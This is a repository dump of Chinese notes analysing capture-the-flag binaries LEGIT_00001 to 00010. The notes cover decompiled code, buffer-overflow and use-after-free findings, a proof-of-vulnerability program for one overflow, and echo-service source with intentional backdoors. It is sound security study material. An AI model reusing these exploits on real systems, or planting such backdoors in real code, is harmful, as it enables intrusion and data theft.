├── challenges ├── 00001.md ├── 00002.md ├── 00003.md ├── 00004.md ├── 00006.md ├── 00007.md ├── 00008.md ├── 00009.md ├── 00010.md ├── README.md └── SUMMARY.md └── slide ├── Makefile └── slide.tex /challenges/00001.md: -------------------------------------------------------------------------------- 1 | # LEGIT_00001 2 | 3 | 有四个CB组成,四个进程用自定义协议通信。 4 | 5 | ```c 6 | struct Packet { 7 | int8_t to_cb; 8 | int8_t from_cb; 9 | int8_t ttl; 10 | int8_t payload_len; 11 | int8_t cmd; 12 | char payload[0]; 13 | }; 14 | ``` 15 | 16 | 每个程序维护了一个associate list,通过协议设定associate list适当的键值,发送调用`flag_oracle`的命令,它会从magic page读取字节与键值进行运算,如果适当会发送命令让下一个进程改变行为。 17 | 18 | ``` 19 | bool __cdecl flag_oracle() 20 | { 21 | int abs_delta; // ST10_4@25 22 | char magic_page_byte; // [esp+15h] [ebp-13h]@1 23 | char v3; // [esp+17h] [ebp-11h]@1 24 | char *value; // [esp+18h] [ebp-10h]@3 MAPDST 25 | char next_mode; // [esp+1Fh] [ebp-9h]@1 26 | DictNode *node; // [esp+20h] [ebp-8h]@1 MAPDST 27 | 28 | node = dict; 29 | next_mode = 0; 30 | v3 = 3; 31 | magic_page_byte = read_byte_from_magic_page();// 32 | // while( node ) { 33 | // value = node->value; 34 | // 35 | // if( g_mode == 1 ) value[1] = max( value[1]-1, -128 ); 36 | // else if( g_mode == 2 ) value[1] = min( value[1]+1, +127 ); 37 | // else /* g_mode == 0 */ { 38 | // if( magic_page_byte < value[1] ) value[1] = max( value[1]-2, -128 ); 39 | // else if( magic_page_byte > value[1] ) value[1] = min( value[1]+2, +127 ); 40 | // else /* magic_page_byte == value[1] ) value[1] = value[1]; 41 | // } 42 | // 43 | // node = node->next; 44 | // } 45 | // 46 | // next_mode = 0; 47 | // var_11 = 3; 48 | // 49 | // for ( node = data_dict; node; node = node->next ) 50 | // { 51 | // value = node->value; 52 | // abs_delta = abs(value[2] - value[1]); 53 | // if ( abs_delta > abs(var_11) ) 54 | // { 55 | // if ( value[2] <= value[1] ) 56 | // next_mode = 1; 57 | // else 58 | // next_mode = 2; 59 | // var_11 = value[2] - value[1]; 60 | // } 61 | // } 62 | while ( node ) 63 | { 64 | value = node->value; 65 | if ( g_mode == 1 ) 66 | { 67 | if ( value[1] > -128 ) 68 | --value[1]; 69 | } 70 | else if ( g_mode == 2 ) 71 | { 72 | if ( value[1] < 127 ) 73 | ++value[1]; 74 | } 75 | else if ( magic_page_byte <= value[1] ) 76 | { 77 | if ( magic_page_byte < value[1] ) 78 | { 79 | if ( value[1] <= -127 ) 80 | { 81 | if ( value[1] > -128 ) 82 | --value[1]; 83 | } 84 | else 85 | { 86 | value[1] -= 2; 87 | } 88 | } 89 | } 90 | else if ( value[1] >= 126 ) 91 | { 92 | if ( value[1] < 127 ) 93 | ++value[1]; 94 | } 95 | else 96 | { 97 | value[1] += 2; 98 | } 99 | node = node->next; 100 | } 101 | for ( node = dict; node; node = node->next ) 102 | { 103 | value = node->value; 104 | abs_delta = abs(value[2] - value[1]); 105 | if ( abs_delta > abs(v3) ) 106 | { 107 | if ( value[2] <= value[1] ) 108 | next_mode = 1; 109 | else 110 | next_mode = 2; 111 | v3 = value[2] - value[1]; 112 | } 113 | } 114 | if ( g_mode == next_mode ) 115 | return 0; 116 | g_mode = next_mode; 117 | return 1; 118 | } 119 | ``` 120 | -------------------------------------------------------------------------------- /challenges/00002.md: -------------------------------------------------------------------------------- 1 | # LEGIT_00002 2 | 3 | 菜单题 4 | 5 | ``` 6 | Order Up! 7 | ---=== Main Menu ===--- 8 | 1. Cashier Menu 9 | 2. Manager Menu 10 | 3. Exit 11 | Selection: 12 | ``` 13 | 14 | 0x08048f89处sprintf buffer overflow。 15 | -------------------------------------------------------------------------------- /challenges/00003.md: -------------------------------------------------------------------------------- 1 | ## LEGIT_00003 2 | 3 | 有JIT和interpreter兩種執行模式的IBM PowerPC Gekko模擬器,从gekko-gc-emu提取了模拟部分代码。 4 | 5 | - 0x08079dbc函數調用的第一個參數值如果大於0x2000000會buffer overflow 6 | - 0x08079f41函數調用的第一個參數值如果大於0x2000000會buffer overflow 7 | - 0x0807a56d函數調用第三個參數值指定讀取的字節數會buffer overflow 8 | -------------------------------------------------------------------------------- /challenges/00004.md: -------------------------------------------------------------------------------- 1 | # LEGIT_00004 2 | 3 | 內存中的文件系統 4 | 5 | ```c 6 | struct FileSystem { 7 | FileEntry** data; 8 | unsigned sectorsize; 9 | unsigned sectorcnt; 10 | unsigned size; 11 | unsigned bitmap_sector; 12 | unsigned inodes_per_sector; 13 | unsigned inode_sector_count; 14 | Inode opened_files[10]; 15 | FileFind find_handles[2]; 16 | unsigned name; 17 | }; 18 | 19 | struct FileEntry { 20 | char filename[20]; 21 | unsigned sector_idx; 22 | unsigned size; 23 | unsigned uid; 24 | unsigned permission; 25 | }; 26 | 27 | struct Inode { // sizeof(Inode) == sizeof(FileEntry) == 36 28 | unsigned inuse; 29 | unsigned inode_idx; 30 | unsigned file_pointer; 31 | unsigned orig_size; 32 | unsigned size; 33 | unsigned permission; 34 | unsigned blocklist_sector_idx; 35 | char* readbuffer; 36 | unsigned unused; 37 | }; 38 | 39 | struct FileFind { 40 | unsigned inuse; 41 | unsigned last_inode_num; 42 | char current_filename[20]; 43 | unsigned unknown; 44 | }; 45 | ``` 46 | 47 | ## 漏洞0:0x08048650函数新建文件系统初始化时读取了magic page 48 | 49 | ```c 50 | int __cdecl init_users(FileSystem *fslist) 51 | { 52 | signed int fd; // eax@2 53 | FileSystem *v2; // ST68_4@6 54 | int v3; // ST64_4@6 55 | unsigned int v4; // eax@6 56 | FileSystem *v5; // ST48_4@8 57 | int v6; // ST44_4@8 58 | unsigned int v7; // eax@8 59 | FileSystem *v8; // ST28_4@10 60 | int v9; // ST24_4@10 61 | unsigned int v10; // eax@10 62 | char data; // [esp+9Ch] [ebp-DCh]@6 63 | int v13; // [esp+164h] [ebp-14h]@4 64 | int ret; // [esp+16Ch] [ebp-Ch]@1 65 | 66 | ret = create_file(fslist, "Users", 0, 1); 67 | if ( ret ) 68 | { 69 | printf("Error creating User list file @s\n"); 70 | exit(0); 71 | } 72 | printf("User list file created...\n"); 73 | fd = open_file(fslist, "Users", 1); 74 | v13 = fd; 75 | if ( fd < 0 ) 76 | { 77 | printf("Error opening User list file\n"); 78 | exit(0); 79 | } 80 | bzero(&data, 0xC8u); 81 | sprintf(&data, "@d:Admin:@08x\n", 1, MEMORY[0x4347C000]); 82 | v2 = fslist; 83 | v3 = v13; 84 | v4 = strlen(&data); 85 | ret = write_file(v2, v3, &data, v4); 86 | if ( ret ) 87 | { 88 | printf("error writing to Users\n"); 89 | exit(0); 90 | } 91 | bzero(&data, 0xC8u); 92 | sprintf(&data, "@d:Guest:@08x\n", 100, MEMORY[0x4347C004]); 93 | v5 = fslist; 94 | v6 = v13; 95 | v7 = strlen(&data); 96 | ret = write_file(v5, v6, &data, v7); 97 | if ( ret ) 98 | { 99 | printf("error writing to Users\n"); 100 | exit(0); 101 | } 102 | bzero(&data, 0xC8u); 103 | sprintf(&data, "@d:MeatHead:@08x\n", -559038737, MEMORY[0x4347C008]); 104 | v8 = fslist; 105 | v9 = v13; 106 | v10 = strlen(&data); 107 | ret = write_file(v8, v9, &data, v10); 108 | if ( ret ) 109 | { 110 | printf("error writing to Users\n"); 111 | exit(0); 112 | } 113 | close_file(fslist, v13); 114 | return 0; 115 | } 116 | ``` 117 | 118 | 新建文件系統初始化文件時生成的`Users`文件中包含magic page的内容,`makefs`命令後接`list`就能讀取 119 | 120 | ``` 121 | Main > makefs a 122 | Sector size: 4096 123 | Total size: 33554432 124 | Max files: 33554432 125 | Filesystem a created 126 | Main > setfs a 127 | Setting filesystem to a 128 | a > list 129 | 1:Admin:4ACBC42D 130 | 100:GueA 131 | -559038737:MeatHead:16F1A00F 132 | ``` 133 | 134 | ## 漏洞1:0x08049ae6处bitmap sector在allocate分配的buffer外 135 | 136 | 執行`makefs`可以創建文件系統,0x08049ae6處計算出的`maxIdxSector`可能超過`fsystem->sectorcnt`,這樣bitmap sector在allocate分配的buffer外。題目中最多可以有四個不同的文件系統,每個都是allocate一段內存,在前一個文件系統裏創建文件再刪除可以用bitmap sector覆蓋後一個文件系統中的數據,但是利用非常困難。 137 | 138 | ## 漏洞2:null-byte overwrite减小saved EBP后改变变量地址,再覆盖saved EBP和return address 139 | 140 | https://blog.forallsecure.com/2016/08/10/case-study-legit_00004/ 141 | 142 | ```c 143 | int copy( fileSystemType *fs, char *cmdline, unsigned int owner ) { 144 | char sourcefile[FILENAME_SIZE]; 145 | char destfile[FILENAME_SIZE]; 146 | int x; 147 | 148 | // skip over leading whitespace characters 149 | while ( *cmdline != 0 && isspace(*cmdline) ) 150 | ++cmdline; 151 | 152 | // if we hit the end of the line there were no filenames specified 153 | if ( *cmdline == 0 ) { 154 | return ERROR_BAD_PARMS; 155 | } 156 | 157 | x = 0; 158 | while ( *cmdline != 0 && !isspace(*cmdline) ) { 159 | if ( x < FILENAME_SIZE ) { 160 | sourcefile[x] = *cmdline; 161 | } 162 | 163 | ++cmdline; 164 | ++x; 165 | } 166 | 167 | sourcefile[x] = 0; // overflow 168 | ... 169 | } 170 | ``` 171 | 172 | sourcefile越界写0可以修改saved EBP的最低字节,返回后caller(main)的EBP变小,`command` buffer的地址也变小了。执行`getline(command, 1024)`时`command`地址小于`ESP`,从而可以覆盖`getline`的返回地址并任意设置`EBP`的值。 173 | 174 | ```c 175 | int main(void) { 176 | char command[1024]; 177 | while (1) { 178 | bzero(command, 1024); 179 | getline(command, 1024); 180 | 181 | i = 0; 182 | while (command[i] != ' ' && i < strlen(command)) { 183 | ++i; 184 | } 185 | command[i] = 0; 186 | 187 | if ( strcmp(command, "list") == 0 ) { 188 | ... 189 | } 190 | else if ( strcmp( command, "copy" ) == 0 ) { 191 | retcode = copy( currentFS, command+i+1, currentUser ); 192 | } 193 | ... 194 | } 195 | } 196 | ``` 197 | 198 | ## 漏洞3:0x0804db82处buffer overflow一字节,之后`sprintf`时可覆盖saved EBP和return address 199 | 200 | ```c 201 | signed int __cdecl adduser(FileSystem *tfs) 202 | { 203 | int v1; // edi@18 204 | FileSystem *v2; // ST2C_4@18 205 | int v3; // ST28_4@18 206 | unsigned int v4; // eax@18 207 | int v6; // [esp+74h] [ebp-B4h]@5 208 | char password[21]; // [esp+79h] [ebp-AFh]@1 209 | char username[9]; // [esp+8Eh] [ebp-9Ah]@1 210 | char v9[9]; // [esp+97h] [ebp-91h]@14 211 | char line[100]; // [esp+A0h] [ebp-88h]@5 212 | int fd; // [esp+104h] [ebp-24h]@1 213 | int v12; // [esp+108h] [ebp-20h]@12 214 | int i; // [esp+10Ch] [ebp-1Ch]@9 215 | int retcode; // [esp+110h] [ebp-18h]@3 216 | 217 | printf("username: "); 218 | readlinen(username, 9); 219 | printf("password: "); 220 | readlinen(password, 21); 221 | fd = open_file(tfs, "Users", 1); 222 | if ( fd < 0 ) 223 | { 224 | printf("Error opening User list file\n"); 225 | exit(0); 226 | } 227 | retcode = 0; 228 | while ( retcode != -4 ) 229 | { 230 | v6 = 100; 231 | retcode = read_file_line(tfs, fd, line, &v6); 232 | if ( retcode < 0 && retcode && retcode != -4 ) 233 | { 234 | printf("Unable to read from Users file\n"); 235 | printf("error is @d\n", retcode); 236 | close_file(tfs, fd); 237 | } 238 | for ( i = 0; line[i] != ':'; ++i ) 239 | ; 240 | ++i; 241 | v12 = 0; 242 | while ( line[i] != ':' ) 243 | v9[v12++] = line[i++]; 244 | v9[v12] = 0; 245 | if ( !strcmp(username, v9) ) 246 | { 247 | printf("User @s already exists\n"); 248 | close_file(tfs, fd); 249 | return -1; 250 | } 251 | } 252 | bzero(line, 0x64u); 253 | v1 = dword_8054270++; 254 | sprintf(line, "@d:@s:@s\n", v1, username, password); 255 | v2 = tfs; 256 | v3 = fd; 257 | v4 = strlen(line); 258 | retcode = write_file(v2, v3, line, v4); 259 | if ( retcode ) 260 | printf("Error writing to User list file\n"); 261 | close_file(tfs, fd); 262 | return retcode; 263 | } 264 | ``` 265 | -------------------------------------------------------------------------------- /challenges/00006.md: -------------------------------------------------------------------------------- 1 | # LEGIT_00006 2 | 3 | C++写的C编译器,代码量很大。 4 | 5 | ## 漏洞0:0x0804a7dc 6 | 7 | 0x08053240处展开`#define`定义时会buffer overflow。 8 | 9 | ```c++ 10 | void __cdecl ExpandDefine(Compiler *compiler, char *buf, int pos) 11 | { 12 | char dst[1024]; // [esp+24h] [ebp-414h]@4 13 | DefineListItem *i; // [esp+424h] [ebp-14h]@1 14 | 15 | for ( i = compiler->define_list_head; i; i = i->next ) 16 | { 17 | if ( !strncmp(&buf[pos], i->lhs_src, i->srclen) ) 18 | { 19 | strcpy(dst, i->rhs_dest); 20 | strcat(dst, &buf[pos + i->srclen]); 21 | strcpy(&buf[pos], dst); 22 | return; 23 | } 24 | } 25 | } 26 | ``` 27 | 28 | 有若干处buffer长度和分配空间可能都有buffer overflow。 29 | -------------------------------------------------------------------------------- /challenges/00007.md: -------------------------------------------------------------------------------- 1 | # LEGIT_00007 2 | 3 | 计算器。 4 | 5 | 用四数组Trie(`default, base, next, check`)词法分析,用另一个四数组Trie语法分析。 6 | 7 | 词法分析用switch进行少量处理,语法分析执行组织成单链表的字节码,switch-threaded dispatch。 8 | 9 | ## 逆向技巧 10 | 11 | 在switch处观察产生的字节码序列,构造不同输入发现特征: 12 | 13 | ``` 14 | a := "AAAA" -> 22 7 3 17 3 5 18 15 | b := "BBBB" -> 22 7 3 17 3 5 18 16 | a[0] = "B" -> 22 7 1b 2 1c 3 17 3 5 18 17 | b[0] = "A" -> 22 7 1b 2 1c 3 17 3 5 18 18 | a -> 22 23 19 | ``` 20 | 21 | ## 逆向结果 22 | 23 | ```c 24 | struct Cell { 25 | union { // offset 0 26 | int integer; 27 | char* string_form; 28 | }; 29 | // unknown 30 | int len; // offset 12 31 | char* var; // offset 16 32 | } cell[80]; 33 | 34 | // begin of tokenizer 35 | do { 36 | code = char2code[next_input_char()]; // 把输入字符转换成字符类型 37 | while (trie_check[trie_base[state]+code] != state) { // 四数组Trie 38 | state = trie_default[state]; 39 | if (state >= 53) 40 | state = normalize[state]; 41 | } 42 | state = trie_next[trie_next[state]+code]; // 下一个状态 43 | } while (trie_base[state] != 86); // 词法分析尚未结束 44 | 45 | switch (state) { 46 | case 0: action_list = 喵; 47 | case 1: action_list = meow; 48 | case 2: action_list = ニャー; 49 | } 50 | // end of tokenizer 51 | 52 | for (action = action_list; is_valid_action(action); action = next_action[action]) { 53 | switch (action) { 54 | case 0x37: // string property 55 | if (! strcmp(cell_top[0].string_form, ".length")) 56 | printf(" %d\n", cell_top[0].len); 57 | else if (! strcmp(cell_top[0].string_form, ".upper")) { 58 | for (int i = 0; i < cell_top[0].len; i++) 59 | if ('a' <= cell_top[0].a[i] && cell_top[0].a[i] <= 'z') 60 | cell_top[0].a[i] += 'A'-'a'; 61 | } else if (! strcmp(cell_top[0].string_form, "expandtab")) 62 | expandtab(cell_top-1); 63 | break; 64 | case 0x46: 65 | // a [ index ] = "A" 66 | // -5 -4 -3 -2 -1 0 67 | if ((int)cell_top[-3].integer <= cell_top[-5].len) 68 | cell_top[-5].a[cell.length] = *cell_top[0].string_form; 69 | break; 70 | } 71 | } 72 | ``` 73 | 74 | ``` 75 | void expandtab() { 76 | // ... 77 | char expanded[256]; // ebp-0x108 78 | int i = 0, j = 0; 79 | while ( i < cell->length ) { 80 | if ( unexpanded[i] == '\t' ) { 81 | expanded[j + 1] = ' '; 82 | expanded[j + 2] = ' '; 83 | expanded[j + 3] = ' '; 84 | j += 3; 85 | } else 86 | expanded[j++] = unexpanded[i]; 87 | ++i; 88 | } 89 | // ... 90 | } 91 | ``` 92 | 93 | ## 漏洞0:`expandtab`函数buffer overflow 94 | 95 | POV 96 | ``` 97 | #include 98 | #include 99 | #include 100 | 101 | int main() 102 | { 103 | unsigned int ipmask = 0xfefefefe; 104 | unsigned int regmask = 0xfefefefe; 105 | 106 | type1_vals vals; 107 | type1_negotiate(ipmask, regmask, EBP, &vals); 108 | 109 | char buf[1024] = "a := \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t"; 110 | unsigned int regval = (vals.regval & regmask) | 0x01010101; 111 | unsigned int ipval = (vals.ipval & ipmask) | 0x01010101; 112 | sprintf(buf+strlen(buf), "\\x%02x\\x%02x\\x%02x\\x%02x", regval&0xff, (regval>>8)&0xff, (regval>>16)&0xff, (regval>>24)&0xff); 113 | sprintf(buf+strlen(buf), "\\x%02x\\x%02x\\x%02x\\x%02x", ipval&0xff, (ipval>>8)&0xff, (ipval>>16)&0xff, (ipval>>24)&0xff); 114 | strcat(buf, "\"\na.expandtab"); 115 | 116 | sendline(buf, strlen(buf)); 117 | _terminate(0); 118 | } 119 | ``` 120 | 121 | ## 漏洞1:`a[i] := "A"`对下标和字串长度使用有符号比较 122 | 123 | 0x0804c4a0处下标和长度的比较使用有符号比较,指定大于等于0x80000000的下标可以越界写任意字节,可以修改前一个变量的字串指针指向magic page,读取该变量即可。 124 | -------------------------------------------------------------------------------- /challenges/00008.md: -------------------------------------------------------------------------------- 1 | # LEGIT_00008 2 | 3 | ```c 4 | char a[32], // ebp-0x230 5 | b[256], // ebp-0x210 6 | c[256]; // ebp-0x110 7 | int v5; // ebp-0x10 8 | printf("How big do you want it? : "); 9 | foo((int)&unk_809EC80); 10 | read_until(0, b, 255, '\n'); 11 | if ( b[0] == 'h' || b[0] == 'y' ) { 12 | if ( b[1] == 'u' ) { 13 | for ( i = 2; b[i] == 'u'; ++i ) ; 14 | if ( b[i] == 'g' ) { 15 | if ( b[i + 1] == 'e' ) { 16 | printf("What is your name? "); 17 | foo(&unk_809EC80); 18 | read_until(0, a, 31, '\n'); 19 | sprintf(c, "%s %s", b, a); 20 | printf("That wall is gonna be %s\n", &v4); 21 | foo(&unk_809EC80); 22 | v5 = 1; 23 | } else { 24 | printf("I could stand in the middle of 5th avenue and shoot people and I wouldn't lose voters.\n"); 25 | v5 = 0; 26 | } 27 | } else { 28 | printf( 29 | "You know it really doesn't matter what the media write as long as you have a young and beautiful, piece of ass.\n"); 30 | v5 = 0; 31 | } 32 | } else { 33 | printf( 34 | "Robert Paterson should not take back Kristen Stewart. She cheated on him like a dog and will do it again. Just watch.\n"); 35 | v5 = 0; 36 | } 37 | } else { 38 | printf( 39 | "An extremely credible source has called my office and told me that Barrack Obama's birth certificate is a fraud.\n"); 40 | v5 = 0; 41 | } 42 | ``` 43 | -------------------------------------------------------------------------------- /challenges/00009.md: -------------------------------------------------------------------------------- 1 | # LEGIT_00009 2 | 3 | CD和tracks管理程序: 4 | 5 | ```c 6 | for(;;) 7 | switch (read_int()) { 8 | case 0: // show the flag magic hash and exit 9 | case 1: // add a track 10 | case 2: // list tracks 11 | case 3: // unknow command 12 | case 4: // feedback 13 | case 5: // play cd 14 | case 6: // show the flag magic hash 15 | case 7: // fix the cd's real name 16 | case 8: // fix the track's real name 17 | case 9: // destory cd 18 | } 19 | ``` 20 | 21 | destory cd之后还能fix the track's real name,use after free。 22 | 23 | 0x08052150處有個54941字節的巨大函數,增大`sub esp`棧幀大小後可以反編譯,有12158行,该函数由至少三个函数组成,使用了一些技巧使得decompiler识别为一个函数: 24 | 25 | - `__attribute__((noreturn))`隐藏`ret`指令 26 | - 用汇编编写不带function prologue/epilogue的函数,链接时跟在`main.c`编译生成的函数后面,带上几个到其他函数的`jmp`指令 27 | - inline functions 28 | 29 | ## 构造该可执行文件的基本思路 30 | 31 | main.c 32 | ```c 33 | __attribute__((noreturn)) void _terminate(); 34 | void main0(); 35 | void main1(); 36 | 37 | void (*fn0)(); 38 | void (*fn1)(); 39 | 40 | __attribute__((noreturn)) void main() 41 | { 42 | fn0 = main0; 43 | fn0(); 44 | fn1 = main1; 45 | fn1(); 46 | _terminate(); 47 | } 48 | 49 | void main0() 50 | { 51 | } 52 | ``` 53 | 54 | libcgc.s 55 | ```asm 56 | .intel_syntax noprefix 57 | 58 | .global main1 59 | .type main1, @function 60 | main1: 61 | // ... 62 | jmp main0 63 | .size main1, . - main1 64 | 65 | .global _terminate 66 | .type _terminate, @function 67 | _terminate: 68 | mov eax, 1 69 | int 0x80 70 | .size _terminate, . - _terminate 71 | 72 | .global _start 73 | .type _start, @function 74 | _start: 75 | // ... 76 | call main 77 | push eax 78 | call _terminate 79 | .size _start, . - _start 80 | ``` 81 | 82 | Makefile 83 | ``` 84 | cb: main.o libcgc.o 85 | ld -m elf_i386 $^ -o $@ 86 | 87 | main.o: main.c 88 | gcc -c -m32 -nostdlib -fno-builtin -nostdinc $< -o $@ 89 | 90 | libcgc.o: libcgc.s 91 | as --32 $< -o $@ 92 | ``` 93 | 94 | objdump -d cb 95 | ``` 96 | 08048094
: 97 | 8048094: 8d 4c 24 04 lea ecx,[esp+0x4] 98 | 8048098: 83 e4 f0 and esp,0xfffffff0 99 | 804809b: ff 71 fc push DWORD PTR [ecx-0x4] 100 | 804809e: 55 push ebp 101 | 804809f: 89 e5 mov ebp,esp 102 | 80480a1: 51 push ecx 103 | 80480a2: 83 ec 04 sub esp,0x4 104 | 80480a5: c7 05 04 a0 04 08 cc mov DWORD PTR ds:0x804a004,0x80480cc 105 | 80480ac: 80 04 08 106 | 80480af: a1 04 a0 04 08 mov eax,ds:0x804a004 107 | 80480b4: ff d0 call eax 108 | 80480b6: c7 05 00 a0 04 08 d2 mov DWORD PTR ds:0x804a000,0x80480d2 109 | 80480bd: 80 04 08 110 | 80480c0: a1 00 a0 04 08 mov eax,ds:0x804a000 111 | 80480c5: ff d0 call eax 112 | 80480c7: e8 0b 00 00 00 call 80480d7 <_terminate> 113 | 114 | 080480cc : 115 | 80480cc: 55 push ebp 116 | 80480cd: 89 e5 mov ebp,esp 117 | 80480cf: 90 nop 118 | 80480d0: 5d pop ebp 119 | 80480d1: c3 ret 120 | 121 | 080480d2 : 122 | 80480d2: e9 f5 ff ff ff jmp 80480cc 123 | 124 | 080480d7 <_terminate>: 125 | 80480d7: b8 01 00 00 00 mov eax,0x1 126 | 80480dc: cd 80 int 0x80 127 | 128 | 080480de <_start>: 129 | 80480de: e8 b1 ff ff ff call 8048094
130 | 80480e3: 50 push eax 131 | 80480e4: e8 ee ff ff ff call 80480d7 <_terminate> 132 | ``` 133 | -------------------------------------------------------------------------------- /challenges/00010.md: -------------------------------------------------------------------------------- 1 | # LEGIT_00010 2 | 3 | ```c 4 | #include 5 | #include "libc.h" 6 | #define STR0 "Hello " 7 | #define STR1 ".\nThis implements a simple echo service\n" 8 | #define NAME_SIZE 4 9 | #define BUF_SIZE 1024 10 | size_t printf(const char *format, ...); 11 | char * get_name(void *secret_page); 12 | size_t receive_line(int fd, char *buf, size_t size); 13 | char * get_name(void *secret_page) { 14 | char *buf; 15 | const char *names[] = {"Matt", "Mark", "Luke", "John"}; 16 | unsigned int index; 17 | int ret; 18 | int i; 19 | 20 | index = ((int *)secret_page)[0] % (sizeof(names) / sizeof(names[0])); 21 | ret = allocate(NAME_SIZE + 1, 0, (void **) &buf); 22 | if (ret != 0) 23 | _terminate(1); 24 | for (i = 0; i < NAME_SIZE; i++) { 25 | buf[i] = names[index][i]; 26 | } 27 | return buf; 28 | } 29 | size_t receive_line(int fd, char *buf, size_t size) { 30 | char c; 31 | size_t total = 0; 32 | size_t read = 0; 33 | while (1) { 34 | if (receive(fd, &c, 1, &read) != 0) { 35 | _terminate(1); 36 | } 37 | if (read == 0) { 38 | return 0; 39 | } 40 | if (total >= size) { 41 | return 0; 42 | } 43 | buf[total++] = c; 44 | if (c == '\n') { 45 | break; 46 | } 47 | } 48 | return total; 49 | } 50 | void *copy(void *dst, const void *src, size_t size) { 51 | char *dst_char = (char *)dst; 52 | char *src_char = (char *)src; 53 | while (size--) 54 | *dst_char++ = *src_char++; 55 | return dst; 56 | } 57 | int __attribute__((fastcall)) main(int secret_page_i, char *unused[]) { 58 | void *secret_page = (void *)secret_page_i; 59 | char buf[1024]; 60 | char *name; 61 | int ret; 62 | size_t size; 63 | 64 | name = get_name(secret_page); 65 | ret = transmit_all(STDOUT, STR0, sizeof(STR0) - 1); 66 | if (ret != 0) 67 | _terminate(1); 68 | ret = transmit_all(STDOUT, name, NAME_SIZE); 69 | if (ret != 0) 70 | _terminate(1); 71 | ret = transmit_all(STDOUT, STR1, sizeof(STR1) - 1); 72 | if (ret != 0) 73 | _terminate(1); 74 | ret = deallocate(name, NAME_SIZE + 1); 75 | if (ret != 0) 76 | _terminate(1); 77 | while (1) { 78 | size = receive_line(STDIN, buf, sizeof(buf) - 1); 79 | if (size == 0) 80 | _terminate(1); 81 | buf[size] = 0; 82 | #ifndef PATCHED_1 83 | if (buf[0] == 0x41 && buf[1] == 0x42 && buf[2] == 0x43) { 84 | int (*func)(int); 85 | copy(&func, buf+3, 4); 86 | copy(&size, buf+7, 4); 87 | transmit(STDERR, "type1\n", 6, NULL); 88 | ret = (*func)(size); 89 | } 90 | #endif 91 | #ifndef PATCHED_2 92 | if (buf[0] == 0x41 && buf[1] == 0x42 && buf[2] == 0x44) { 93 | transmit(STDERR, "type2\n", 6, NULL); 94 | transmit_all(STDOUT, secret_page, 0x1000); 95 | } 96 | #endif 97 | ret = transmit_all(STDOUT, buf, size); 98 | if (ret != 0) 99 | _terminate(1); 100 | } 101 | } 102 | ``` 103 | -------------------------------------------------------------------------------- /challenges/README.md: -------------------------------------------------------------------------------- 1 | # Linux改动 2 | 3 | libmaru 4 | 5 | ```diff 6 | diff --git a/3.13.0-77.121/arch/x86/Kconfig b/3.13.11-ckt32-cgc/arch/x86/Kconfig 7 | index 3666bb0..bdf2f55 100644 8 | --- a/3.13.0-77.121/arch/x86/Kconfig 9 | +++ b/3.13.11-ckt32-cgc/arch/x86/Kconfig 10 | @@ -2342,6 +2342,11 @@ menu "Executable file formats / Emulations" 11 | 12 | source "fs/Kconfig.binfmt" 13 | 14 | +config CGCOS_COMPAT 15 | + bool "CGCOS binary support" 16 | + ---help--- 17 | + Include code to support execution of CGCOS binaries. 18 | + 19 | config IA32_EMULATION 20 | bool "IA32 Emulation" 21 | depends on X86_64 22 | diff --git a/3.13.0-77.121/arch/x86/include/asm/thread_info.h b/3.13.11-ckt32-cgc/arch/x86/include/asm/thread_info.h 23 | index 3ba3de4..d81b8e5 100644 24 | --- a/3.13.0-77.121/arch/x86/include/asm/thread_info.h 25 | +++ b/3.13.11-ckt32-cgc/arch/x86/include/asm/thread_info.h 26 | @@ -91,6 +91,7 @@ struct thread_info { 27 | #define TIF_IO_BITMAP 22 /* uses I/O bitmap */ 28 | #define TIF_FORCED_TF 24 /* true if TF in eflags artificially */ 29 | #define TIF_BLOCKSTEP 25 /* set when we want DEBUGCTLMSR_BTF */ 30 | +#define TIF_NOPCE 26 /* PMC is not accessible in userland */ 31 | #define TIF_LAZY_MMU_UPDATES 27 /* task is updating the mmu lazily */ 32 | #define TIF_SYSCALL_TRACEPOINT 28 /* syscall tracepoint instrumentation */ 33 | #define TIF_ADDR32 29 /* 32-bit address space on 64 bits */ 34 | diff --git a/3.13.0-77.121/arch/x86/include/asm/tsc.h b/3.13.11-ckt32-cgc/arch/x86/include/asm/tsc.h 35 | index 235be70..f2779be 100644 36 | --- a/3.13.0-77.121/arch/x86/include/asm/tsc.h 37 | +++ b/3.13.11-ckt32-cgc/arch/x86/include/asm/tsc.h 38 | @@ -18,6 +18,7 @@ extern unsigned int cpu_khz; 39 | extern unsigned int tsc_khz; 40 | 41 | extern void disable_TSC(void); 42 | +extern void disable_PCE(void); 43 | 44 | static inline cycles_t get_cycles(void) 45 | { 46 | diff --git a/3.13.0-77.121/arch/x86/kernel/asm-offsets.c b/3.13.11-ckt32-cgc/arch/x86/kernel/asm-offsets.c 47 | index 9f6b934..3d6dde9 100644 48 | --- a/3.13.0-77.121/arch/x86/kernel/asm-offsets.c 49 | +++ b/3.13.11-ckt32-cgc/arch/x86/kernel/asm-offsets.c 50 | @@ -29,6 +29,7 @@ 51 | 52 | void common(void) { 53 | BLANK(); 54 | + OFFSET(TI_task, thread_info, task); 55 | OFFSET(TI_flags, thread_info, flags); 56 | OFFSET(TI_status, thread_info, status); 57 | OFFSET(TI_addr_limit, thread_info, addr_limit); 58 | @@ -54,6 +55,11 @@ void common(void) { 59 | OFFSET(PV_MMU_read_cr2, pv_mmu_ops, read_cr2); 60 | #endif 61 | 62 | +#ifdef CONFIG_CGCOS_COMPAT 63 | + BLANK(); 64 | + OFFSET(task_struct_cgc_bytes, task_struct, cgc_bytes); 65 | +#endif 66 | + 67 | #ifdef CONFIG_XEN 68 | BLANK(); 69 | OFFSET(XEN_vcpu_info_mask, vcpu_info, evtchn_upcall_mask); 70 | diff --git a/3.13.0-77.121/arch/x86/kernel/entry_32.S b/3.13.11-ckt32-cgc/arch/x86/kernel/entry_32.S 71 | index c5a9cb9..78ba7d1 100644 72 | --- a/3.13.0-77.121/arch/x86/kernel/entry_32.S 73 | +++ b/3.13.11-ckt32-cgc/arch/x86/kernel/entry_32.S 74 | @@ -430,6 +430,20 @@ sysenter_past_esp: 75 | testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%ebp) 76 